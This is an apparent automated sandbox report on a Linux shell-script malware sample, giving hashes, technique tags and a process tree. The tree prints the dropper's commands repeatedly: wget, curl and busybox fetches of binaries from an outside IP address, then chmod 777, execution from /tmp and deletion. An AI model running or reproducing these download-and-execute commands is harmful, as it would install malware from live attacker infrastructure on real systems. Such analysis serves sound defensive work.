aa04109aabcc03edebed32e65ed1263a10297c3a20a2dd5245d64db5e1ef161d

Analysis

max time kernel
30s
max time network
128s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
07/11/2024, 02:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
aa04109aabcc03edebed32e65ed1263a10297c3a20a2dd5245d64db5e1ef161d.sh
Size 10KB
Sample241107-dera5stfrb
SHA256 aa04109aabcc03edebed32e65ed1263a10297c3a20a2dd5245d64db5e1ef161d
MD5 e30cfba122a965556b4954f2384ea608
SHA1 1f435ae4fba20319788699ef13f7ea1eb29c88f3
SHA512 1275da8c669e45ee2e2b03d375721c15141280ecd09a0b185b821b8af26fbbfadf87685038b898774bbac3323f75ae1635e6e03fc4b7fceed23e3f78c647021b
SSDEEP 96:fgcFBRYUpmZ33do6x5Bu6CN0X1cnx5HYkE9/RXNMNYmqnx5HYkA5g3oWNcx5Bu6n:fg9cGlcnx5HYkE9Zrx5HYkqB/
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1528	chmod
1552	chmod
1612	chmod
1618	chmod
1636	chmod
1510	chmod
1648	chmod
1522	chmod
1540	chmod
1570	chmod
1576	chmod
1642	chmod
1516	chmod
1534	chmod
1546	chmod
1600	chmod
1624	chmod
1504	chmod
1654	chmod
1594	chmod
1606	chmod
1630	chmod
1668	chmod
1564	chmod
1582	chmod
1588	chmod
1660	chmod
1558	chmod

Executes dropped EXE 28 IoCs

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1538	curl
1562	curl
1566	rm
1616	curl
1617	busybox
1537	wget
1539	busybox
1561	wget
1563	busybox
1593	busybox
1596	rm
1620	rm
1541	F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
1591	wget
1592	curl
1542	rm
1565	BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
1595	F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
1615	wget
1619	BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM	curl
File opened for modification	/tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u	curl
File opened for modification	/tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC	curl
File opened for modification	/tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT	curl
File opened for modification	/tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i	curl
File opened for modification	/tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u	curl
File opened for modification	/tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk	curl
File opened for modification	/tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT	curl
File opened for modification	/tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m	curl
File opened for modification	/tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt	curl
File opened for modification	/tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE	curl
File opened for modification	/tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l	curl
File opened for modification	/tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC	curl
File opened for modification	/tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT	curl
File opened for modification	/tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi	curl
File opened for modification	/tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM	curl
File opened for modification	/tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT	curl
File opened for modification	/tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i	curl
File opened for modification	/tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP	curl
File opened for modification	/tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l	curl
File opened for modification	/tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP	curl
File opened for modification	/tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m	curl
File opened for modification	/tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk	curl
File opened for modification	/tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt	curl
File opened for modification	/tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG	curl
File opened for modification	/tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi	curl
File opened for modification	/tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG	curl
File opened for modification	/tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE	curl

/tmp/aa04109aabcc03edebed32e65ed1263a10297c3a20a2dd5245d64db5e1ef161d.sh
/tmp/aa04109aabcc03edebed32e65ed1263a10297c3a20a2dd5245d64db5e1ef161d.sh
1⤵
PID:1496
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1497
- /usr/bin/wget
  wget http://216.126.231.240/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:1498
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - Writes file to tmp directory
  PID:1502
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:1503
- /bin/chmod
  chmod 777 DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- /tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  ./DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - Executes dropped EXE
  PID:1505
- /bin/rm
  rm DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:1506
- /usr/bin/wget
  wget http://216.126.231.240/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:1507
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:1509
- /bin/chmod
  chmod 777 Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  ./Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - Executes dropped EXE
  PID:1511
- /bin/rm
  rm Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:1512
- /usr/bin/wget
  wget http://216.126.231.240/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:1513
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:1515
- /bin/chmod
  chmod 777 CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  ./CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - Executes dropped EXE
  PID:1517
- /bin/rm
  rm CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:1518
- /usr/bin/wget
  wget http://216.126.231.240/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:1519
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - Writes file to tmp directory
  PID:1520
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:1521
- /bin/chmod
  chmod 777 lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  ./lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - Executes dropped EXE
  PID:1523
- /bin/rm
  rm lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:1524
- /usr/bin/wget
  wget http://216.126.231.240/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:1525
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:1527
- /bin/chmod
  chmod 777 CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  ./CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - Executes dropped EXE
  PID:1529
- /bin/rm
  rm CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:1530
- /usr/bin/wget
  wget http://216.126.231.240/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:1531
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - Writes file to tmp directory
  PID:1532
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:1533
- /bin/chmod
  chmod 777 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  ./5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - Executes dropped EXE
  PID:1535
- /bin/rm
  rm 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:1536
- /usr/bin/wget
  wget http://216.126.231.240/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:1537
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1538
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:1539
- /bin/chmod
  chmod 777 F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - File and Directory Permissions Modification
  PID:1540
- /tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  ./F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1541
- /bin/rm
  rm F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:1542
- /usr/bin/wget
  wget http://216.126.231.240/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:1543
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - Writes file to tmp directory
  PID:1544
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:1545
- /bin/chmod
  chmod 777 g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - File and Directory Permissions Modification
  PID:1546
- /tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  ./g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - Executes dropped EXE
  PID:1547
- /bin/rm
  rm g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:1548
- /usr/bin/wget
  wget http://216.126.231.240/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:1549
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - Writes file to tmp directory
  PID:1550
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:1551
- /bin/chmod
  chmod 777 SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - File and Directory Permissions Modification
  PID:1552
- /tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  ./SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - Executes dropped EXE
  PID:1553
- /bin/rm
  rm SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:1554
- /usr/bin/wget
  wget http://216.126.231.240/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:1555
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - Writes file to tmp directory
  PID:1556
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:1557
- /bin/chmod
  chmod 777 SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - File and Directory Permissions Modification
  PID:1558
- /tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  ./SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - Executes dropped EXE
  PID:1559
- /bin/rm
  rm SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:1560
- /usr/bin/wget
  wget http://216.126.231.240/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:1561
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1562
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:1563
- /bin/chmod
  chmod 777 BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - File and Directory Permissions Modification
  PID:1564
- /tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  ./BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1565
- /bin/rm
  rm BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:1566
- /usr/bin/wget
  wget http://216.126.231.240/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  PID:1567
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - Writes file to tmp directory
  PID:1568
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  PID:1569
- /bin/chmod
  chmod 777 u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  ./u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - Executes dropped EXE
  PID:1571
- /bin/rm
  rm u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  PID:1572
- /usr/bin/wget
  wget http://216.126.231.240/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:1573
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - Writes file to tmp directory
  PID:1574
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:1575
- /bin/chmod
  chmod 777 s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - File and Directory Permissions Modification
  PID:1576
- /tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  ./s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - Executes dropped EXE
  PID:1577
- /bin/rm
  rm s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:1578
- /usr/bin/wget
  wget http://216.126.231.240/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:1579
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - Writes file to tmp directory
  PID:1580
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:1581
- /bin/chmod
  chmod 777 lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - File and Directory Permissions Modification
  PID:1582
- /tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  ./lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - Executes dropped EXE
  PID:1583
- /bin/rm
  rm lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:1584
- /usr/bin/wget
  wget http://216.126.231.240/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:1585
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - Writes file to tmp directory
  PID:1586
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:1587
- /bin/chmod
  chmod 777 SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - File and Directory Permissions Modification
  PID:1588
- /tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  ./SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - Executes dropped EXE
  PID:1589
- /bin/rm
  rm SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:1590
- /usr/bin/wget
  wget http://216.126.231.240/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:1591
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1592
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:1593
- /bin/chmod
  chmod 777 F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - File and Directory Permissions Modification
  PID:1594
- /tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  ./F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1595
- /bin/rm
  rm F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:1596
- /usr/bin/wget
  wget http://216.126.231.240/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:1597
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - Writes file to tmp directory
  PID:1598
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:1599
- /bin/chmod
  chmod 777 g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - File and Directory Permissions Modification
  PID:1600
- /tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  ./g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - Executes dropped EXE
  PID:1601
- /bin/rm
  rm g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:1602
- /usr/bin/wget
  wget http://216.126.231.240/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:1603
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - Writes file to tmp directory
  PID:1604
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:1605
- /bin/chmod
  chmod 777 lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - File and Directory Permissions Modification
  PID:1606
- /tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  ./lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - Executes dropped EXE
  PID:1607
- /bin/rm
  rm lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:1608
- /usr/bin/wget
  wget http://216.126.231.240/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:1609
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - Writes file to tmp directory
  PID:1610
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:1611
- /bin/chmod
  chmod 777 SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - File and Directory Permissions Modification
  PID:1612
- /tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  ./SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - Executes dropped EXE
  PID:1613
- /bin/rm
  rm SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:1614
- /usr/bin/wget
  wget http://216.126.231.240/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:1615
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1616
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:1617
- /bin/chmod
  chmod 777 BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - File and Directory Permissions Modification
  PID:1618
- /tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  ./BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1619
- /bin/rm
  rm BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:1620
- /usr/bin/wget
  wget http://216.126.231.240/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  PID:1621
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - Writes file to tmp directory
  PID:1622
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  PID:1623
- /bin/chmod
  chmod 777 u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - File and Directory Permissions Modification
  PID:1624
- /tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  ./u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - Executes dropped EXE
  PID:1625
- /bin/rm
  rm u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  PID:1626
- /usr/bin/wget
  wget http://216.126.231.240/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:1627
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - Writes file to tmp directory
  PID:1628
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:1629
- /bin/chmod
  chmod 777 s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - File and Directory Permissions Modification
  PID:1630
- /tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  ./s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - Executes dropped EXE
  PID:1631
- /bin/rm
  rm s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:1632
- /usr/bin/wget
  wget http://216.126.231.240/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:1633
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - Writes file to tmp directory
  PID:1634
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:1635
- /bin/chmod
  chmod 777 Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - File and Directory Permissions Modification
  PID:1636
- /tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  ./Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - Executes dropped EXE
  PID:1637
- /bin/rm
  rm Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:1638
- /usr/bin/wget
  wget http://216.126.231.240/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:1639
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - Writes file to tmp directory
  PID:1640
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:1641
- /bin/chmod
  chmod 777 DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - File and Directory Permissions Modification
  PID:1642
- /tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  ./DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - Executes dropped EXE
  PID:1643
- /bin/rm
  rm DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:1644
- /usr/bin/wget
  wget http://216.126.231.240/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:1645
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - Writes file to tmp directory
  PID:1646
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:1647
- /bin/chmod
  chmod 777 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - File and Directory Permissions Modification
  PID:1648
- /tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  ./5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - Executes dropped EXE
  PID:1649
- /bin/rm
  rm 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:1650
- /usr/bin/wget
  wget http://216.126.231.240/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:1651
- /usr/bin/curl
